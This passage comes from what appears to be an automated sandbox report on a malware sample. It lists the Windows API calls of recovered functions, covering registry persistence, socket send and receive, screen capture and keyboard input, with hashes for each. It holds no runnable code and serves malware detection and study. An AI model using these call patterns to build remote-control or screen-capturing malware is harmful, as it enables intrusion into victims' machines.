                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A2111EB6D95205EBCA10EB75ED48E5B37ADAB48756700CE05B611D72C0DB74EC10CF62
                                                                                                                                                                                                                      Function 02705AF0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 51registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • #680.SHELL32(software\microsoft,00000000,00020119,02706C37), ref: 02705B18
                                                                                                                                                                                                                      • RegQueryValueExA.ADVAPI32(02706C37,d900dd49a,00000000,?,00000000,?), ref: 02705B5A
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(02706C37), ref: 02705B64
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(-80000001), ref: 02705B2A
                                                                                                                                                                                                                        • Part of subcall function 026F3420: #680.SHELL32(?,00000000,?,?,?,02705B76), ref: 026F3428
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegOpenKeyExA.ADVAPI32(80000001,software\microsoft,00000000,00000101,02705B76), ref: 026F345F
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegQueryValueExA.ADVAPI32(02705B76,d900dbaea,00000000,?,00000000,?), ref: 026F347C
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegCloseKey.ADVAPI32(02705B76), ref: 026F3486
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegOpenKeyExA.ADVAPI32(80000002,software\microsoft,00000000,00000101,?), ref: 026F34B9
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegQueryValueExA.ADVAPI32(?,d900dbaea,00000000,?,00000000,?), ref: 026F34D6
                                                                                                                                                                                                                        • Part of subcall function 026F3420: RegCloseKey.ADVAPI32(?), ref: 026F34E0
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseOpenQueryValue$#680
                                                                                                                                                                                                                      • String ID: D900D2F0a$d900dd49a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 1151197818-2826659120
                                                                                                                                                                                                                      • Opcode ID: d1810d11b29b82f24d328f14c62752078685bbee120bd85873fbdbe898802700
                                                                                                                                                                                                                      • Instruction ID: 69d064f126aefadeafe8044e73ebad549c6b25b1418737a059c3e9db86548a8e
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d1810d11b29b82f24d328f14c62752078685bbee120bd85873fbdbe898802700
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2D015EB5E90209ABDF10DBF4CD85BAEB7B8AB08705F804658F615E7280E774DA148F90
                                                                                                                                                                                                                      Function 02709A00 Relevance: 12.1, APIs: 8, Instructions: 98networkstringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • send.WS2_32(?,02739E44,00000002,00000000), ref: 02709A2A
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000002,00000000), ref: 02709A4E
                                                                                                                                                                                                                      • recv.WS2_32(?,00000001,?,00000000), ref: 02709A7C
                                                                                                                                                                                                                      • recv.WS2_32(?,?,00000001,00000000), ref: 02709AA0
                                                                                                                                                                                                                      • recv.WS2_32(?,?,?,00000000), ref: 02709AC5
                                                                                                                                                                                                                      • lstrcmpA.KERNEL32(0273FCA8,00000001,?,00000000), ref: 02709AED
                                                                                                                                                                                                                      • lstrcmpA.KERNEL32(0273FBA0,?,?,00000000), ref: 02709AFF
                                                                                                                                                                                                                      • send.WS2_32(?,02739E48,00000002,00000000), ref: 02709B0E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: recv$lstrcmpsend
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 1090895577-0
                                                                                                                                                                                                                      • Opcode ID: 9a21d04a601090bb44755c432806ddee6a2b0634ffd4d9771b90946a77e3b42f
                                                                                                                                                                                                                      • Instruction ID: 12391fb8f87dcafcaecd61eee0755bf1fa8a984a2155e40a20a327423b1656fc
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9a21d04a601090bb44755c432806ddee6a2b0634ffd4d9771b90946a77e3b42f
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 44317DB2A85259F9EB11D6644C91FFE77ED9B85B00F4041C1E744962C3D3F15A4A8BA0
                                                                                                                                                                                                                      Function 026F8670 Relevance: 12.1, APIs: 8, Instructions: 60windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetDC.USER32(00000000,75296BA0,026F9009), ref: 026F8678
                                                                                                                                                                                                                      • SelectObject.GDI32(?,?,75296F70,75296BA0,026F9009), ref: 026F8698
                                                                                                                                                                                                                      • DeleteObject.GDI32(?), ref: 026F86A1
                                                                                                                                                                                                                      • DeleteDC.GDI32(?), ref: 026F86AD
                                                                                                                                                                                                                      • CreateCompatibleDC.GDI32(00000000,75296F70,75296BA0,026F9009), ref: 026F86E2
                                                                                                                                                                                                                      • CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 026F8701
                                                                                                                                                                                                                      • SelectObject.GDI32(?,00000000,00000000,0273F534), ref: 026F8723
                                                                                                                                                                                                                      • ReleaseDC.USER32(00000000,00000000), ref: 026F8731
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Object$CompatibleCreateDeleteSelect$BitmapRelease
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2733039346-0
                                                                                                                                                                                                                      • Opcode ID: 0f066396eb91050459f216bdfc274d6ea65b8371d7fae0d376c393f87a6b7b56
                                                                                                                                                                                                                      • Instruction ID: 8801d177193d0abf20ea9e09620cfcd7c93a014f3b6a520ed904364c3e3f79f4
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 0f066396eb91050459f216bdfc274d6ea65b8371d7fae0d376c393f87a6b7b56
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D5114976D81310DFCB00CF68EA88EA73BF8EB8D7523548899F508C3301D77998618B61
                                                                                                                                                                                                                      Function 026F9BE0 Relevance: 10.7, APIs: 7, Instructions: 167synchronizationwindowkeyboardCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?,?), ref: 026F9C41
                                                                                                                                                                                                                      • MapVirtualKeyW.USER32(00000000,00000000,00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?,?), ref: 026F9C5F
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?,?), ref: 026F9D2F
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?,?), ref: 026F9D51
                                                                                                                                                                                                                      • SendMessageA.USER32(?,0000E2AD,00000000,00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?), ref: 026F9D98
                                                                                                                                                                                                                      • SendMessageW.USER32(?,?,00000003,00000000,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?), ref: 026F9DBE
                                                                                                                                                                                                                      • PostMessageW.USER32(?,00000101,?,?,?,?,?,?,026F9F49,00000000,?,?,?,?,026F9400,?), ref: 026F9DCB
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Message$MutexReleaseSend$ObjectPostSingleVirtualWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3783495248-0
                                                                                                                                                                                                                      • Opcode ID: f481b2f930304df65238ac4a448bfba3b3b9e974db1c0a2628ec238f68bc306c
                                                                                                                                                                                                                      • Instruction ID: 3b3a6bac7243847b29a656a5014cfe86d2043781244349a3e55263ba171e351f
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f481b2f930304df65238ac4a448bfba3b3b9e974db1c0a2628ec238f68bc306c
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: A251BD33A86280EBDF65CB28A804FEA7FD19B46329F18C58ADBC18B3C2C3755555C790
                                                                                                                                                                                                                      Function 026FCA90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126windowCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • IsWindowVisible.USER32(026FD21D,026FD21D,?,75C0BCB0), ref: 026FCAAF
                                                                                                                                                                                                                      • GetWindowInfo.USER32(026FD21D,?), ref: 026FCAC9
                                                                                                                                                                                                                      • GetClassLongA.USER32(026FD21D,000000E6), ref: 026FCB1E
                                                                                                                                                                                                                      • PrintWindow.USER32(026FD21D,?,00000000), ref: 026FCB37
                                                                                                                                                                                                                      • BitBlt.GDI32(026FCD02,?,?,?,?,75C0BCB0,00000000,00000000,00CC0020,026FD21D,?), ref: 026FCBDE
                                                                                                                                                                                                                        • Part of subcall function 026FDCE0: GetClassNameA.USER32(?,?,00000101), ref: 026FDCF6
                                                                                                                                                                                                                        • Part of subcall function 026FC8D0: SendMessageA.USER32(?,?,00000004,00000000,?,74DF3050,?,026FC9F1,?,?), ref: 026FC8F8
                                                                                                                                                                                                                        • Part of subcall function 026FC8D0: GdiFlush.GDI32(00000000,?,026FC9F1,?,?), ref: 026FC90E
                                                                                                                                                                                                                        • Part of subcall function 026FC8D0: BitBlt.GDI32(026FC9F1,00000000,00000000,?,026FC9F1,?,00000000,00000000,00CC0020,?,026FC9F1,?,?), ref: 026FC934
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: Window$Class$FlushInfoLongMessageNamePrintSendVisible
                                                                                                                                                                                                                      • String ID: <
                                                                                                                                                                                                                      • API String ID: 2334662925-4251816714
                                                                                                                                                                                                                      • Opcode ID: e17801c15994d667ba9d03d580eba87164bfea6448c374cd4801aff7e23b5a30
                                                                                                                                                                                                                      • Instruction ID: 99b1a7669465db837e47a2705095b1b617b7c768cfdae76e35dc3418992768f2
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: e17801c15994d667ba9d03d580eba87164bfea6448c374cd4801aff7e23b5a30
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 06416A75E00519AFCF14CF98C885AAEFBBAFF48315B54825AE505A3640C730B952CF94
                                                                                                                                                                                                                      Function 026F5A20 Relevance: 10.6, APIs: 7, Instructions: 110synchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5A60
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5A8C
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5AB3
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 026F5AD4
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000258,000003E8), ref: 026F5B04
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000258), ref: 026F5B25
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 026F5B3E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2971961948-0
                                                                                                                                                                                                                      • Opcode ID: 3d747e5bda95eac61485c258c4f07b356fc36fb5772c83c03d53f5b2559fdbbe
                                                                                                                                                                                                                      • Instruction ID: 7a3e2b7c77f247c9f5a8635ec92b0f7d54600d7a3436fb35f2a0268f6ff01bc5
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3d747e5bda95eac61485c258c4f07b356fc36fb5772c83c03d53f5b2559fdbbe
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2441E8B5D40208DFDB40DFA9D881AAEBBF5FB88311F94816AE905F7200E7709D11CB90
                                                                                                                                                                                                                      Function 026F5B50 Relevance: 10.6, APIs: 7, Instructions: 97synchronizationCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • GetLastError.KERNEL32 ref: 026F5B68
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5B99
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5BC5
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026F5BEC
                                                                                                                                                                                                                      • WaitForSingleObject.KERNEL32(00000258,000003E8), ref: 026F5C1D
                                                                                                                                                                                                                      • ReleaseMutex.KERNEL32(00000258), ref: 026F5C3E
                                                                                                                                                                                                                      • SetLastError.KERNEL32(?), ref: 026F5C48
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$ErrorLast$MutexObjectReleaseSingleWait
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 2971961948-0
                                                                                                                                                                                                                      • Opcode ID: 628cf1ef99132f0aee243cca4c0495b6e379bd4cb82465f4915b42f2b89a82d6
                                                                                                                                                                                                                      • Instruction ID: e51501c42c267d339de185fcd5a8c41b57977669a537fd60912e7353d4105e4c
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 628cf1ef99132f0aee243cca4c0495b6e379bd4cb82465f4915b42f2b89a82d6
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6231E6B1E41208EFDB80CFA8D885A9EBBF5FB48311F90852AE919E7200E77059018F91
                                                                                                                                                                                                                      Function 026FBB50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 92stringCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026FBB8F
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026FBBBB
                                                                                                                                                                                                                      • VirtualQuery.KERNEL32(Function_00025460,?,?), ref: 026FBBE2
                                                                                                                                                                                                                      • GetUserObjectInformationA.USER32(?,00000002,?,00000100,?), ref: 026FBC11
                                                                                                                                                                                                                      • lstrcmpiA.KERNEL32(?,d900de8aa), ref: 026FBC27
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: QueryVirtual$InformationObjectUserlstrcmpi
                                                                                                                                                                                                                      • String ID: d900de8aa
                                                                                                                                                                                                                      • API String ID: 410342393-3715909395
                                                                                                                                                                                                                      • Opcode ID: f2cb9bbf5c02e63a9ed451ba00b92202b511f46280a8a1f269b1ada97951d4fe
                                                                                                                                                                                                                      • Instruction ID: bb47a051ec4f3a59dedf2d2720087f8829a9f3ef1685f6b4f3df714519a226ab
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: f2cb9bbf5c02e63a9ed451ba00b92202b511f46280a8a1f269b1ada97951d4fe
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 8531C8B1E4020DAFDB40CFA9D885AEEBBF4FB48715F50816AE508E7240E7749A458F90
                                                                                                                                                                                                                      Function 02714BF0 Relevance: 10.6, APIs: 7, Instructions: 72processCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • memset.MSVCRT(?,00000000,00000124,?,75B07390,?), ref: 02714C14
                                                                                                                                                                                                                      • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,75B07390,?), ref: 02714C1F
                                                                                                                                                                                                                      • Process32First.KERNEL32 ref: 02714C45
                                                                                                                                                                                                                      • StrStrIA.SHLWAPI(?,75B07390), ref: 02714C60
                                                                                                                                                                                                                      • Process32Next.KERNEL32(00000000,?), ref: 02714C6C
                                                                                                                                                                                                                      • GetHandleInformation.KERNEL32(00000000,00000000), ref: 02714C88
                                                                                                                                                                                                                      • CloseHandle.KERNEL32(00000000), ref: 02714C9A
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: HandleProcess32$CloseCreateFirstInformationNextSnapshotToolhelp32memset
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 3955875343-0
                                                                                                                                                                                                                      • Opcode ID: b8dcdd0147727d1de1c1efd39a6b3270ef88e89c772b391fbb6d43d16f989828
                                                                                                                                                                                                                      • Instruction ID: 47193efc023ffde96ad519eb8d1a63338d0246a36e88153fa6788470f70f8b0b
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b8dcdd0147727d1de1c1efd39a6b3270ef88e89c772b391fbb6d43d16f989828
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 9A1175B29063115BD310DF69DC48A9BBBACEF89765F508A19FE5483180E7309515CBF2
                                                                                                                                                                                                                      Function 027212F0 Relevance: 10.6, APIs: 7, Instructions: 67networkCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • htons.WS2_32(?), ref: 02721314
                                                                                                                                                                                                                      • inet_addr.WS2_32(?), ref: 0272131F
                                                                                                                                                                                                                      • htonl.WS2_32(000000FF), ref: 0272132A
                                                                                                                                                                                                                      • gethostbyname.WS2_32(?), ref: 02721336
                                                                                                                                                                                                                      • socket.WS2_32(00000002,00000001,00000000), ref: 02721350
                                                                                                                                                                                                                      • connect.WS2_32(00000000,?,00000010), ref: 02721363
                                                                                                                                                                                                                      • closesocket.WS2_32(00000000), ref: 0272136E
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: closesocketconnectgethostbynamehtonlhtonsinet_addrsocket
                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                      • API String ID: 298246419-0
                                                                                                                                                                                                                      • Opcode ID: bf8bd798b98cdc8f29eb03311c10219798588a4b9867f29472f370faebcff920
                                                                                                                                                                                                                      • Instruction ID: 558d31298e2c9b6b55753c06237480e70b6365b7fa1ce155cd7266f60f16f895
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: bf8bd798b98cdc8f29eb03311c10219798588a4b9867f29472f370faebcff920
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: D6119632F002246FDB00DFA9DC44B9EB76BFF49362F808669F915D7291D770A5148B50
                                                                                                                                                                                                                      Function 026F7E96 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(02705D5C,software\microsoft,00000000,00000102,80000002,?,?,?,?,00000000,0000000A), ref: 026F7EFD
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(80000002,d900d91da,00000000,00000001,?,00000104,?,?,?,?,00000000,0000000A), ref: 026F7F1F
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 026F7F3A
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(80000002,?,?,?,?,00000000,0000000A), ref: 026F7F4F
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseFlushOpenValue
                                                                                                                                                                                                                      • String ID: d900d91da$software\microsoft
                                                                                                                                                                                                                      • API String ID: 2510291871-149954059
                                                                                                                                                                                                                      • Opcode ID: 45ec79c5ebd52333a13869c1b2f2e43cb12c9e080ea8e7701ab3d7ed1828bcd7
                                                                                                                                                                                                                      • Instruction ID: c763f286e2b0e8165931885a31805b2eb179f5959d38a5af74c00a9a4febdff1
                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 45ec79c5ebd52333a13869c1b2f2e43cb12c9e080ea8e7701ab3d7ed1828bcd7
                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 1611E271601148ABEF55DBB4D9C8FEAB779FB08709F5085ADE385C7180E2718D84CB90
                                                                                                                                                                                                                      Function 02701846 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 59registryCOMMON
                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                      • RegOpenKeyExA.ADVAPI32(00000001,software\microsoft,00000000,00000102,-80000001,?,?,?,?,?,?,0000001C,00000000), ref: 027018AD
                                                                                                                                                                                                                      • RegSetValueExA.ADVAPI32(-80000001,D900DB68a,00000000,00000001,?,00000104,?,?,?,?,0000001C,00000000), ref: 027018CF
                                                                                                                                                                                                                      • RegFlushKey.ADVAPI32(-80000001,?,?,?,?,0000001C,00000000), ref: 027018DD
                                                                                                                                                                                                                      • RegCloseKey.ADVAPI32(-80000001,?,?,?,?,0000001C,00000000), ref: 027018F0
                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                      • Source File: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Offset: 026F0000, based on PE: true
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274A000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      • Associated: 00000005.00000002.2315791681.000000000274E000.00000040.00000001.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                      • Snapshot File: hcaresult_5_2_26f0000_OCYLlGeNBSaNBJKonQXwvPUVfzuX.jbxd
                                                                                                                                                                                                                      Yara matches
                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                      • API ID: CloseFlushOpenValue
                                                                                                                                                                                                                      • String ID: D900DB68a$software\microsoft
                                                                                                                                                                                                                      • API String ID: 2510291871-1565509310
                                                                                                                                                                                                                      • Opcode ID: 32457b5295786443e8d33aee775b749404d45f92a3b457d34e2168794e3d05a6
                                                                                                                                                                                                                      • Instruction ID: ddf66badf1313b7ee5ce6a9779aad7b078ba5b802a4a0f323de71c50d6080fe6
